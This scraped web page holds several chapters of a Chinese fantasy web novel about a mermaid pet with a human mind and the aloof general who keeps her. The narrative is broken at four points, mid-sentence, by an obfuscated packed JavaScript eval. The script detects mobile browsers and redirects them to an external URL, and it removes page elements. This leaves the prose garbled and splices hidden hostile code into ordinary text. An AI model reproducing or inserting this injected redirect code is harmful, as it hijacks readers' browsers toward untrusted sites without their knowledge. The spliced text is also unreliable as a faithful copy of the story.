上面挂着的电子屏幕上跳出十次十环。 苏莉还记得她高中去参加军训的时候,因为有个男同学打出了三次十环的记录,所以被全校表扬。 因为这件事,所以她才能理解到陆曜的十次十环是多么的神枪手。 敌人的强大固然可怕,自己的弱小才令人悲伤。 因为隔着玻璃,所以苏莉只能听到闷闷的枪声。 她看着那个稀巴烂的靶子,觉得如果不是有人鱼法的保护,现在被打得稀巴烂的就是她了。 男人站在里面,耳朵上戴着耳罩,大概是因为觉得麻烦,所以没有戴护目镜,他额头细碎的金发轻轻落下,带出几分年轻的稚气感,眼睫细长,半遮眉眼。 戴着手套的手把玩着枪,黑色的手套更显出他修长白皙的指骨。灵活的手指简单拆卸又装上,穿着灰色系的修身服,一边玩枪,一边慢条斯理地侧身对着苏莉。 苏莉觉得自己似乎又看到了他若有似无勾起的唇角。 苏莉咽了咽口水。 她不语,只是一味的咽口水。 8. 第 8 章 最近的小人鱼很安静。 陆曜猜得没错,这条人鱼很敏感,它对人类情绪的把握非常有度。 它甚至能看出那天晚上在射击室里,他对它的小小威胁。 陆曜开始相信机构的说辞了。 虽然他没有养过宠物,但这条人鱼确实不太一般。 陆曜打开智脑,正准备查看一下今天的行程,不小心翻出上次的小某书页面。 因为大数据的强大力量,所以他的智脑页面上都是宠物帖。 陆曜抬手正准备关掉,视线突然被一个视频吸引。 这个视频封面是一只圆脸圆眼的猫,下面配着文字:这小东西也太会看人脸色了吧? 陆曜微微转了转椅子,点开视频。 这是一条小猫扒拉水杯的视频,小猫蹲在透明玻璃桌面上,一只爪子将水杯往桌子边缘拨去,在马上就要摔下去之前,主人一发出声音制止,它就转换爪子方向,把水杯重新扒拉回去了。 一般。 陆曜留下一条评论:一般,莉莉更聪明。 发完,陆曜关闭某书,开始正常工作,当然也不知道后面其他人的评论回复。 “哟,莉莉更聪明~” “哟,莉莉更聪明~” “哟,莉莉更聪明~” …… - 最近几天晚上,陆曜睡得难得舒服,没养人鱼之前都没有这样舒服。 他穿好衣服,戴上手套,看到镜中自己的样子。 脸色都明显好了。 与之对比的是苏莉蔫吧的脸色。 这几天小人鱼都很安分,沙发上面再也不湿漉漉的,地上也没有到处可见的鳞片和零食。 反倒是陆曜……竟有些不习惯。 他整理了一下手套,推开门出去,一眼看到挂在水箱边上苏莉,跟上次的场景十分相似。 又是肠胃炎? 陆曜眉头一皱,立刻走到苏莉身边。 “怎么了?” 小人鱼萎靡不振地甩了甩尾巴,用眼尾看他一眼,然后继续萎靡。 陆曜皱眉,找到人鱼车,将人鱼拎上去,然后开车去了机构。 有了上次的经验,陆曜提前联系了芙蕾雅,让她把机构的联系方式给他。 “莉莉怎么了?严重吗?” 陆曜从中央后视镜里看到被放在后车厢里的小人鱼,对比之前半死不活的样子,此刻的它将脸贴在后车窗上,正炯炯有神地看着车窗外的风景。 然后在注意到他的视线后立刻低头露出一副病恹恹的样子。 陆曜:…… “还不知道。”陆曜用了一个模棱两可的答案,表情却明显放松下来。 芙蕾雅紧张道:“我联系机构,马上过来。” 芙蕾雅办事效率很快,当陆曜的车开到机构的时候,已经有工作人员和医务人员等在门口了。 陆曜打开后备厢,工作人员迅速上前接过莉莉。 经过详细的检查,苏莉没有问题。 “可能是精神方面有些低落,最近有发生什么事吗?”一直负责照顾莉莉的医生是位女博士,表情温和的询问陆曜。 陆曜想了想,“我前几天带它去了射击室。” 女医生温和的面容瞬间就变了。 “上将,它不是你的兵,是你的抚慰人鱼,这样危险的地方你不应该带它去。” 陆曜站在那里,看着表情严肃的女医生。 常年上位者的气势加上从战场上历练下来的冰冷眼神,不是常人能抵抗的了的。 女医生那股气慢慢萎缩下来。 “我知道了,下次不会了。”意外的是,这位上将竟然服软了。 话罢,陆曜转身离开诊室,外面正站着急匆匆赶过来的芙蕾雅,她身上还穿着礼服,应该是从什么宴会上赶了过来。 芙蕾雅刚才站在诊室外面,已经将陆曜跟医生的话听得一清二楚。 两人站在落地窗前,大片大片阳光从外面洒进来,隔着一层玻璃,外面是机构的人工花园,苏莉正坐在人鱼车上观赏池子里肥胖的锦鲤。 这些锦鲤吃得圆滚滚的,跟个球似的在干净的水面上飘来飘去。 小人鱼微微弯腰,指尖探入水中,肥胖的锦鲤就绕着她的手指一顿乱转。阳光落在她的鱼尾上,七彩光芒,耀眼夺目,它像是在微笑,整个人散发出温软柔和的气息。 它身边站着从前的饲养员艾米丽,正从口袋里偷偷摸摸塞什么东西给它。 小人鱼笑得更明显了。 “曜,我知道,你不会跟人相处,也不相信人,可莉莉它不是人,它是人鱼,简单、单纯,你可以试着相信它。”芙蕾雅低声开口。 她知道,陆曜抗拒这条人鱼,是她执意要将莉莉送到陆曜身边。 虽然对于大部分人来说,陆曜并非一个好人,只是一个从战场上生存下来的怪物,但芙蕾雅知道他内心的痛苦。 战争胜利,他是战胜的将军,却也是将灵魂留在了战场上的怪物。 不,或许他的灵魂在被选中进入“曜日”计划的那一天起,就已经留在了那个冰冷雪白的实验室里。 “莉莉,过得还好吗?”花园里,艾米丽蹲在苏莉身边,柔声细语的询问。 苏莉一边啃巧克力,一边仰头看天。 不好。 巧克力虽然好吃,但她想吃点咸的了,甜咸才能成就永动机。 她想歹汉堡。 “艾米丽!”有工作人员呼唤艾米丽。 艾米丽休息时间完毕,恋恋不舍的起身去工作了。 身边空无一人,苏莉保持自己忧郁的姿势,摇着人鱼车来到花园里的一棵大树下,然后从口袋里掏出自己从陆曜家里顺的两只手表扔进了树洞里。 第一笔启动资金。 苏莉在人鱼机构里待了一年多,她一直来这个花园里玩,树洞不大不小,因为位置特殊,所以也不会被雨水倒灌,是个藏匿的好地方。最重要的是,这是一棵千年古树,被贴上了珍惜保护的标签,不会拆迁,简直就是天然保险箱。 “手表不能丢这个里面。”一只戴着黑色手套突然的从苏莉身后伸出来,将她好不容易偷渡出来扔进天然保险箱里面的手表又拿了出来。 苏莉:……你走路没声音的!你是鱼吗? “莉莉偷了你的手表?听说人鱼喜欢亮晶晶的东西。”芙蕾雅居然也在。 你们两个走路怎么都没声音的! 今天芙蕾雅没有穿军装,反而穿了一身露肩小礼服,脸上带妆,比平日里更加精致一点。 她笑着将自己脖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324974|167561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上戴着的白珍珠项链摘下来替苏莉戴上,然后夸赞道:“我们莉莉宝贝戴着真好看。” 苏莉:!!!没错,我就是你最亲爱的宝贝。妈妈,你真的给我吗? 她觉得不当人也挺好的。 “你的宴会还去吗?”陆曜也没有阻止芙蕾雅。 只有在芙蕾雅面前,这位上将才会多说一些话。 芙蕾雅摇头,露出苦恼神色,“是父皇给我安排的相亲宴,那些男的长得实在是太丑了。” 苏莉低头。 叽里咕噜的说啥呢,顺个手表。 陆曜低头,看着小人鱼又将自己捡回来的两个手表抢了回去,顺便把他戴在手腕上的也扒了下来。 陆曜:…… “莉莉宝贝真聪明。”芙蕾雅立刻疯狂夸夸,然后感叹,“我觉得我也应该养一只宠物,虽然用不到抚慰人鱼,但养只小猫小狗还是可以的吧?真治愈啊,光是看到莉莉我就觉得开心。” 可能是你在分泌催产素吧。 苏莉将三个手表收入囊中。 陆曜嗤笑一声,“家里不乱的话,你确实可以申请一只回去添乱。” 芙蕾雅:…… 苏莉:…… “看起来莉莉的精神状态还可以啊。”芙蕾雅转移话题,看着正在摆弄亮晶晶项链的苏莉,继续跟她说话,显然,跟非人相处比跟人相处轻松多了,“这条项链是白珍珠,跟我们莉莉的黑发很相配。第一次见面的时候我都没有给莉莉宝贝送见面礼,这次这条珍珠项链就算是见面礼吧。” 苏莉识货,这条珍珠项链虽然不是顶顶上乘货色,但起码也值几十万星币吧!看看这圆润的大颗粒,看看这灯泡一样的光泽感! 陆曜站在旁边,没有说话,目光慢吞吞地落到使劲捂紧珍珠项链的苏莉身上,似乎是在思考着什么。 下一刻,陆曜突然从腰间掏出了他的枪。 苏莉看一眼,皱眉。 芙蕾雅紧张起来,“怎么了?” “没事。”陆曜慢条斯理的收起来。 人鱼对枪并没有过激反应。 那么这条人鱼大概并非因为射击室而萎靡不振,它突然装病的原因是什么? 其实那天的射击室确实给了苏莉一点小小的震撼,但也没到吓蔫的程度。 装病只是想出来遛弯,并且顺势藏匿自己的小金库。 不过现在她的小金库地点已经被发现了,她要换一个地方了。 回去的路上,苏莉正在思考自己要将皇女送给自己的项链和从陆曜那里顺来的三个手表藏哪里的时候,正在前面处理文件的男人突然开口,“你是想出来散心?” 苏莉扭过头,神色震惊地看向他。 男人继续,“听得懂我说话?” 听不懂。 苏莉把头扭回去。 男人慢吞吞地敲击方向盘,注视着车内后视镜。 一人一鱼的视线在镜内汇聚。 苏莉再次迅速扭头,脑中想起艾米丽对她这位新主人的描述。 军中最优雅的杀器,也是监狱拷问的一把好手,甚至只需要一个眼神表情,就能猜透你的想法。 “听艾米丽说你喜欢吃甜点,要就点头。” 你拿这个来考验干部! 苏莉倔强点头。 9. 第 9 章 “已经为您改航附近的甜品店。” 附近有一座高档商场,甜品店在商场二楼。 按照人鱼保护法,人鱼可以出现在商场内,类比导盲犬之类的工作犬。 陆曜将车停在地下商场之后,推着坐在人鱼车上的苏莉坐上电梯前往二楼。 电梯在一楼停住,打开,有人上来。 人鱼并不多见,虽然有人可能在网络上看到过人鱼的身影,但抚慰人鱼依旧是一种神秘的存在。 “天呐,这是人鱼吗?” 不然呢? “我可以摸摸吗?” 不可以。 “不可以。” 陆曜淡声开口。 虽然被拒绝了,但那位女生依旧十分激动。 她掏出手机想要拍照,被陆曜阻止,“也不可以拍照。” 被连续拒绝,女生也没有生气,她的视线落到陆曜脸上,觉得男人长得有点眼熟。 陆曜身上穿着还没换下来的军装,近一米九的身高,宽肩窄腰冷白肌肤,黑色的军服衬得他整个人优雅从容,尤其是那股看谁都不顺眼的冷冽气质,更加令人欲罢不能的产生征服欲。 二楼到了,陆曜推着苏莉出去。 那女生恋恋不舍的看着苏莉的鱼尾和男人颀长的背影。 很明显都想要。 甜品店在二楼拐角处,有一大片玻璃窗。 陆曜推着人鱼站在店门口,停住了脚步。 这居然是一间猫咖甜品店。 苏莉隔着玻璃门两眼放光,猫咪隔着玻璃门也两眼放光。 是猫! 是鱼! “换一家。”陆曜低头打开智脑。 智脑迅速规划新路线。 苏莉努力伸爪。 她的疯狂奶牛猫sir,美丽小三花,漂亮鸡毛掸子大布偶…… 商场内还有一家没有猫的咖啡屋。 陆曜推着苏莉来到咖啡屋坐下,打开桌上的3d菜单让她选择。 苏莉摆烂地坐在人鱼车上安静挑选,漂亮的手指来来回回的滑动。 她的猫猫。 陆曜双手环胸坐在对面,视线落在苏莉脸上。 会挑选菜品,认识文字。 能听懂人话,不只是简单的话语,甚至是复杂的对话。 苏莉疯狂加单。 反正不用她付钱。 上班当牛马,挣钱给鱼花。 这家咖啡厅还提供午餐,苏莉点了一杯咖啡,三份甜品,一份牛排,一份冰激凌。 餐品上来的很快,她左手拿刀右手拿叉,吃得十分得心应手。 陆曜只点了一杯咖啡。 他戴着黑色皮质手套的手端起面前的苦咖啡轻抿一口。 咖啡香气弥漫出来,萦绕在鼻息间。 陆曜的职业让他对人鱼的观察下意识愈发细致。 上次会使用筷子。 现在还会用刀叉。 苏莉抬头,对上陆曜的眼神。 她想了想,将自己三份甜品中的其中一份推到了男人面前。 陆曜垂目,“我不吃。” 苏莉果断塞进自己嘴里。 吃饱喝足,想上卫生间了。 她自己滑动人鱼车,在陆曜的注视下,出了咖啡厅。 人鱼车上面有电子板面,苏莉可以依靠手指上下左右让人鱼车自己行动起来。 陆曜单手叩击桌面,买单之后起身跟在苏莉身后,看到她抬头盯着商场上面的电子指示牌上。 电子指示牌一闪一闪的,半空中有飞着的智脑过来,一边上下浮动,一边询问,“请问有什么可以帮助您的。” 苏莉眨了眨眼,继续驾驶人鱼车往前走。 智脑跟在她身后,陆曜也踩着那双大长腿跟在她身后,直到小人鱼驾驶着人鱼车进入……卫生间? 陆曜的脚步戛然而止。 他迅速侧身避让,抬头的时候看到头顶的指示牌。 原来刚才这条小人鱼是在寻找卫生间。 陆曜看到过自家水箱内的那个人鱼卫生间,跟人类的差别不大,因为水箱内的水质一向很好,所以陆曜猜测这条人鱼真的会使用人类卫生间。 会看指示牌。 这条小人鱼的智商确实很高。 陆曜摆弄着智脑,等了一会后看着自家小人鱼驾驶着人鱼车生无可恋脸的从里面出来,身后跟着一堆女人。 “宝宝你好可爱啊。” “宝宝可以摸摸你吗?” “宝宝你真的是人鱼吗?” “宝宝你看起来香香的……” 你看起来变态态的。 苏莉被一堆女人围在中间,寸步难行。 她终于理解那些被强抱的宠物的心情了。 当她温柔又强制的将她家小猫抱进怀里的时候,它跟被猥琐人类强制爱了一样疯狂踹她,她现在也想变成一条固执的猫疯狂甩这些人鱼嘴巴子。 苏莉从口袋里掏出自己积攒的鱼鳞塞给这群女人。 “天哪!是鱼鳞。” “还是紫色的!” 本来是准备塞进陆曜被窝的,现在为了脱身没办法了。 “走了。” 一只手拨开人群,将苏莉从里面推出来。 她鱼鳞还没发完。 男人的出现吸引了这群女人的视线,身高腿长,宽肩窄腰的绝世军装大帅哥。 金发金眸,鼻梁高挺,面容白皙,五官立体,就跟杂志封面上精修过的男模一样,如果一定要使用一个形容词的话,那就是想睡他。 女人们的视线瞬间火辣起来,连带着吞口水的声音都变得更加明显。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324975|167561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对于这种场面,男人已经习惯。 陆曜面无表情地推着她进入旁边的电梯。 电梯一路来到地下停车场,今日的商场一日游活动宣告结束。 苏莉本来以为自己会被放进后车厢,没想到男人居然把她放在了后座上。 因为尾巴太长的缘故,所以她的尾巴一半在后面,另外一半甩到了副驾驶上。 陆曜关上车门,坐上驾驶位,看到横跨两个位置的鱼尾。 陆曜:…… 手腕上的智脑自动接收来自芙蕾雅的消息。 芙蕾雅:“曜,看看莉莉宝贝,我在开会,你给我拍照片。(可爱笔芯表情)” 陆曜:…… 陆曜转身,对着苏莉的方向随意抬手用智脑拍了一张。 你开美颜滤镜了吗你就拍! 你瘦脸磨皮去颈纹了吗? 苏莉瞪大眼,一把抓住陆曜的手腕。 小人鱼力气不大,指甲因为没有修剪所以在这段时间长了一点。 陆曜皱眉,迅速抽手。 “干什么?” 苏莉疑惑地低头看了一眼自己的手掌,然后被智脑上面的照片吸引了视线。 这个胖头鱼是谁? 对上小人鱼控诉的眼神,陆曜竟然觉得自己看懂了。 他按下发送键,慢吞吞的开口,语气中带着一股自己都没有意识到的愉悦调笑,“这才是真相。” 最近这段时间她确实吃得多运动少,可也没有胖到这种程度吧! 芙蕾雅:“莉莉好像胖了一点,越来越可爱了。(姨姨亲亲)” 苏莉:!!! 她要减肥。 苏莉励志早上一颗小苹果,中午一颗小鸡蛋,晚上不食。 陆曜从军部回到家的时候天上下起了雨。 他推开门进去,正看到自家小人鱼瘫在沙发上。 按照这条小人鱼曾经的饲养员所说,小人鱼需要定时出门放松心情,昨天已经出去过了,看起来心情也不错。 可陆曜看到桌子上定时定点送来的餐食一点都没有动。 难道又不舒服了? 苏莉迷迷糊糊间听到了炸鸡的声音。 她使劲咽了咽口水,睁开眼。 看到横厅内巨大玻璃上落下的细密雨点。 哦,原来是下雨了。 原来下雨助眠声真的跟炸鸡一模一样。 苏莉再次闭上眼。 睡着就不饿了。 因为知道这条小人鱼的智商已经达到能正常沟通的程度,所以陆曜并没有像前两次一样把鱼直接带进机构里去检查。 他站在沙发边,“什么事?” 苏莉勉强睁开眼,看到男人垂在身侧的手。 她迷迷糊糊猛地一下坐起来,把他亮晶晶的手表薅了下来。 10. 第 10 章 减肥根本就不是鱼应该干的事! 苏莉自己扒拉着打开冰箱,找到一块牛排,然后递给家政机器人。 家政机器人用机械音开口询问,“请问您需要煎炸烤煮……”说话的同时,家政机器人胸前出现一块透明面板,能看到上面牛排的各种烹饪方式。 煎煎煎! 苏莉疯狂点击。 “好的,请您稍等。” 家政机器人开始忙活。 煎牛排的香味在厨房内蔓延开来,苏莉跟个小尾巴一样跟在家政机器人身后。 好了好了,七分熟。 七分熟的牛排被摆盘上桌,还有一朵西蓝花和雕花萝卜点缀。 苏莉戴着顺来的手表坐在人鱼车上,终于吃上了今天的第一口肉。 陆曜:……很精神,没毛病。 男人转身,走进卧室洗漱,换上睡衣。 他躺在床铺上,黑暗中,手腕上的智脑泛出淡淡白光。 陆曜抬手,点开智脑,然后犹豫着打开某书。 因为关于人鱼饲养的消息实在是太少了,所以某书更多的帖子还是关于普通宠物的。 陆曜翻阅着页面,有一条帖子是:“猫猫在家不吃东西,等我回来以后就吃了,这是为什么?” 点开。 评论区置顶解答是:可能是希望你能陪着它一起吃东西。 陆曜沉默了一会,想到自己刚才回来,人鱼就迫不及待打开冰箱让家政机器人煎牛排的样子,忍不住轻笑一声。 笑完,陆曜回神,他愣了一会,表情沉寂下来。 男人放下智脑,掀开被子,看到里面被塞的一把鱼鳞片。 陆曜:…… 紫色的鱼鳞片在淡色的光线下闪耀出柔软的绚烂。 苏莉趴在门边,看到里面的灯暗了亮,然后是男人打开抽屉的声音。 抽屉里面的过敏贴没有了。 陆曜打开房门,小人鱼若无其事的驾驶着人鱼车走开。 陆曜在备用药箱里找到了过敏贴。 他将过敏贴按到脖子上,那股瘙痒感才被压下去。 “不用给我这个。”那把鱼鳞被男人塞回给了她。 “明天带你去军部。” 苏莉:??? - 抚慰人鱼作为一种高阶抚慰动物,也是需要陪伴和关心的,甚至比其它只作为宠物的动物来说,它们需要的情感更多。 “所以,你把莉莉带到军部来了?”芙蕾雅难掩语气中的激动,“它在哪里?” “我的办公室。” 陆曜正在开会,芙蕾雅坐在首位,一边听着下属回报,一边忍不住在桌下用智脑跟陆曜发消息。 会议一结束,芙蕾雅就迫不及待的来到陆曜的办公室。 极简的办公室内,除了一套办公桌椅之外,几乎没有其它东西,黑白灰三色,最亮眼的就属那一抹淡紫色的鱼尾。 苏莉坐在人鱼车上,百无聊赖的用尾巴敲击陆曜的办公智脑。 “天呐,”芙蕾雅发出一声惊呼,“你怎么不给莉莉带点玩具过来,它一条鱼在这里该多无聊啊。” 陆曜看着办公智脑内被弄得一团糟的文件沉默了一会,然后拨开她的鱼尾,拿起办公智脑,“我还有一个会议。” 芙蕾雅已经完全沉迷于莉莉的可爱无法自拔。 陆曜拿着办公智脑出去了。 两个小时后,陆曜处理完事情回来,一打开自己办公室的门,就看到了满地的人鱼玩具。 旁边还有一个巨大的箱子。 极速快递,全城一小时达,竭诚为您服务。 此刻,小人鱼就躲在那个大箱子里,甚至自己伸手把箱子关上了。 “莉莉,莉莉宝贝?”芙蕾雅围着箱子团团转,“这么多玩具,莉莉宝贝怎么只喜欢这个破箱子?” 她是喜欢破箱子吗?她是觉得这些玩具太弱智了,实在是玩不下去了。 还有那辆玩具自行车,你见过鱼需要自行车的吗? 苏莉从箱子缝隙里伸出一只手,拨开芙蕾雅拿在手里的那个玩具球。 “啊,太可爱了,莉莉。” 苏莉:…… “曜,你回来了。”芙蕾雅这位不干正事的皇女兴奋的拿着智脑走到陆曜身边,“你觉得哪张莉莉最好看?我要用来作为智脑头像。” 苏莉透过箱子缝隙,看到芙蕾雅放大的智脑透明面板上一瞬间刷新出几千张她的人鱼照。 苏莉:…… 芙蕾雅见陆曜迟迟不开口,便兴奋道:“这张眼睛更亮一点。” “这张尾巴弧度翘一点。” “这张莉莉的头发更柔顺。” 陆曜:……到底哪里不一样? 苏莉:……这跟她给闺蜜展示,她给她家猫拍的几百张一模一样的照片有什么区别? 原来养宠人真的是别人看她疯狂实际真的疯狂的存在。 幸好陆曜不是这样的人。 怪不得她闺蜜爱答不理,她家猫贱嗖嗖的疯狂贴贴。 原来是她这个主人太烦人了。 可是她家猫猫真的超级可爱啊,每天都在勾引她。 - 愉快的玩耍时间很快过去,到中午用餐时间了。 还没选定头像照片的芙蕾雅临走前提醒陆曜道:“东西我已经给你拿过来了,”顿了顿,芙蕾雅眉头皱起,“按照你的要求,剂量给你加大了。” “嗯。”陆曜点头。 芙蕾雅看着陆曜那张平静无波的脸,她似乎是想说些什么,可最终还是什么都没有说,只是朝苏莉微笑了一下,“再见,莉莉。” 芙蕾雅走了,办公室内安静一瞬,苏莉终于从箱子里钻出来。 她整理了一下自己乱糟糟的头发,安静等待餐品。 吃饭吃饭吃饭。 一个小时后。 她饭呢? 苏莉坐在人鱼车上,绕着陆曜转一圈。 啤酒饮料矿泉水。 然后又转了一圈。 花生瓜子宝宝粥。 最后又转了一圈。 让一让把脚收一收。 男人的视线一直盯着智脑屏幕,一点都没有落到她身上。 “啪嗒”一声,一条鱼尾甩到了办公桌上。 柔软的鱼尾带着坚硬的鳞片,不耐烦地拍了拍。 陆曜皱眉,抬手拨开。 苏莉:…… 苏莉伸出手,扯了扯陆曜的衣袖。 “有事?” 男人终于正眼看她。 饭! 苏莉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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副官的视线不住往她这边瞥,那条鱼尾实在是太漂亮了,小人鱼也实在是太美丽了。 放下盒饭之后,副官终于忍不住跟陆曜开口道:“上将,我可以跟您的人鱼合个影吗?” “不能。”上将无情拒绝。 副官正准备伤心离开,背着人群打开智脑观摩一下里面的人鱼图片聊以慰藉之时,手里被塞了一片紫色鳞片。 帮忙扔一下放垃圾桶里。 她可真是一个爱护环境的好学生啊。 副官:!!! 人鱼居然主动送他鳞片! 副官瞬间被再次征服。 - 办公室里,苏莉愉悦地打开盒饭,看到上面的菜色,脸上的喜色也跟着变菜。 你们军部的伙食这么差的吗? 实际上是陆曜对吃的方面几乎没有任何要求,因此副官也就没有特意精心准备。 苏莉拿起筷子,挑开上面的青豆。 讨厌青豆。 陆曜拿着勺子,舀一勺青豆放进嘴里。 苏莉夹着筷子上的青豆,左右看了看,没有发现垃圾桶,只看到一个吃饭还沉迷工作的男人。 陆曜看完一份文件,垂目之时,看到自己米饭上堆起来的青豆山。 11. 第 11 章 用完午餐,苏莉无聊的继续在陆曜的办公室里乱转。 她发现了芙蕾雅说要给陆曜的东西。 那是一个长方形保险箱,黑色的皮质外表,一个弧形的提手,它被放在办公桌侧边,看起来很神秘的样子。 什么好东西? 苏莉好奇地凑上去。 “鱼不能碰。”男人的声音从她身后响起,一股冷淡的金属气息贴身过来,虚虚从身后揽住她,男人的一只手擦着她的胳膊,一把按在箱子上,阻止了她的动作。 呵,稀罕。 苏莉撇嘴,游走,左右看看,发现了芙蕾雅给她新买的人鱼窝。 因为人鱼可以在无水情况下生存七天,所以这个人鱼窝类似于猫猫们夏天用的水垫子。 圆圆的一大片摊开在地上,隔着一层透明的外封,里面有器材斑斓的塑料小鱼来回游动。 苏莉懒洋洋地躺上去。 好软,像水床。 身下的塑料小鱼受到压力,四处逃窜。 苏莉又从旁边的粉色化妆箱里捣鼓了一阵,翻出一个巨大的化妆盒。 苏莉无视那些小孩子玩的什么纯天然化妆用品,拿起那个巴掌大的水晶喷壶。 她往里面灌了一点干净的纯净水,然后对着自己的脸呲呲呲。 好舒服。 春天就应该补水。 要是有面膜就更好了。 苏莉打了一个哈欠。 这个办公室虽然什么都没有,但有一片很大的落地窗。 午后阳光懒洋洋地照进来,苏莉甩了甩尾巴,翻开身子闭上了眼。 这日子怎么可能跟谁过都一样。 看看芙蕾雅,再看看这狗东西。 苏莉抚摸着自己脖子上上次芙蕾雅送她的珍珠项链,忍不住叹息出声。 然后又看一眼陆曜那个狗东西,再次闭上了眼。 男人坐在办公桌后面,看到小人鱼那个奇怪的眼神。 他敲击智脑的动作顿了顿,然后继续工作。 - 一觉睡醒,夕阳占满天际。 苏莉翻了个身,看到陆曜的姿势都没变,依旧埋头工作。 她打了一个哈欠,继续闭上眼睡觉,觉得自己真是一条睡美人鱼。 这一觉睡得比午后更长些,苏莉睁开眼时四周黑暗,唯独陆曜那边的办公桌上开着一盏幽暗的灯。 灯光不亮,男人坐在办公桌后,摊开的文件上是那个被打开的黑色皮质箱子,里面整齐排列着一行蓝色药水针管。 陆曜单手拿着药水,解开衬衫扣子,微微歪头后仰,露出纤细白皙的脖颈,喉头滚动,汗水沾肌。 他正往自己脖颈处注射药水。 幽暗的蓝色药水被缓慢推进去,陆曜原本就白的肌肤呈现出一股更深的惨白。 有汗水从他额角滑落,浸湿前额。 金色的头发一缕一缕地黏在面颊上,他原本勉强舒展的身体变得紧绷起来,呼吸也变得急促,像是极力忍耐着什么。 一丝不苟的金发散落出来,整个人呈现出一股难得的狼狈感。 陆曜抬眸,金色的瞳孔锁定对面的人鱼。 苏莉趴在人鱼垫上,一双兽类瞳孔开着远光灯,正呆呆看着他手里的蓝色液体。 其实是还没睡醒,正在发懵呢。 药物注射完毕,陆曜扔掉针筒,合上箱子,压着开关的指尖微微颤栗。 他坐在那里缓了缓,身体机能逐渐恢复正常。 “吃什么?”他问。 说完,陆曜率先笑了一声。 苏莉还没回神。 她眨了眨眼,打了一个哈欠。 陆曜起身,走到苏莉身边,蹲下。 男人身上穿着黑色军装,黑色的军靴踩到了她的人鱼垫,然后一把将她拎起来放到了人鱼车上。 随后,陆曜蹲在地上,将那些散乱的玩具一股脑扔进箱子里。 在收到那个水晶喷壶的时候,动作顿了顿,拿起来,对准苏莉。 苏莉:??? “呲~” 一阵水雾朝她洒来,苏莉下意识闭上眼,再睁开。 她的眼睫上水雾雾的,挂了一层薄薄的水珠。 男人单手搭在人鱼车上,手上把玩着水晶喷壶,“第一次见面的时候,你是故意的?” 故意什么? “吐我口水。” 苏莉:……我不是,我没有,你别乱说啊。 办公室里只有他们两个人,苏莉合理怀疑这个男人想要报复她。 她紧张地盯着他,眼睛一眨不眨,直到眼前泛起一阵生理性水雾。 男人五官深邃,整个人都带着一股锋利的美感,尤其是穿着黑色军装面无表情的时候,那股压迫感就连芙蕾雅都要冷静三分。 终于,陆曜起身,居高临下地看着她,“幸好,你只是一条鱼。” - 苏莉晚上做了一个梦。 她梦到自己坐在人鱼车上,被陆曜推出去遛弯。 路过一家烤鱼店的时候,男人指着里面的烤鱼跟她说,“跟它们一起去铁板上蒸个桑拿吧。” 苏莉“嗷”一声就吓醒了。 她瞪大眼,发现自己躺在贝壳床上,四周黑漆漆的,她一条鱼张着嘴在吐泡泡。 太危险了,她一定不能成为陆曜的抚慰人鱼。 - 纯手工流苏窗帘,被拆卸的家政机器人,打开的冰箱和水龙头,被堵住的水池正在不断往外涌水,钻在沙发里露出半条尾巴的人鱼“工作”了一晚上,正在休息。 天塌了有莉莉顶着,至于天是怎么塌的你不要问。 陆曜:…… 天刚蒙蒙亮,一觉睡醒推开卧室门的陆曜看到眼前场景,面无表情抬手打开智脑,接通副官。 “今天有事不去军部。” 这是副官第一次接到自家上将的“旷工”通知,因此,他下意识认为上将是有更重要的事情要做。 那边还没有挂断智脑,副官严阵以待。 “宠物一般,喜欢去什么地方?” 副官:??? 副官虽然没有养宠,但他敢说,“一般都喜欢跟自己的同类相处玩闹吧?” 一个敢说,一个敢听。 “嗯。” 陆曜挂断电话,往沙发上坐下。 脚下湿漉漉的水渍浸湿了瓷砖,他预约了备用家政机器人上门清理,然后垂目朝那条紫色鱼尾看去,“不要装睡。” 紫色尾巴抖了抖,往沙发洞里钻得更瓷实了。 男人实在是太平静了,平静到让苏莉觉得头皮发麻。她始终记得自己第一天养宠下班打开门,看到满地狼藉的房间时那种崩溃感。她声嘶力竭地逮住自己的小猫,最终还是没舍得下手。慈母多败咪,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324977|167561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今往后,看到再大的场面,苏莉都稳如老奴才。 可是她没想到,男人也这么稳。 这不符合她的预想。 等一下,他刚才说自己今天不去军部,难道是要把她送回机构? 苏莉一下就精神了。 她从沙发洞里蛄蛹出来,眨巴着眼睛看向陆曜。 “上车。”男人朝她扬了扬下颚。 苏莉立刻爬上她的人鱼车。 - 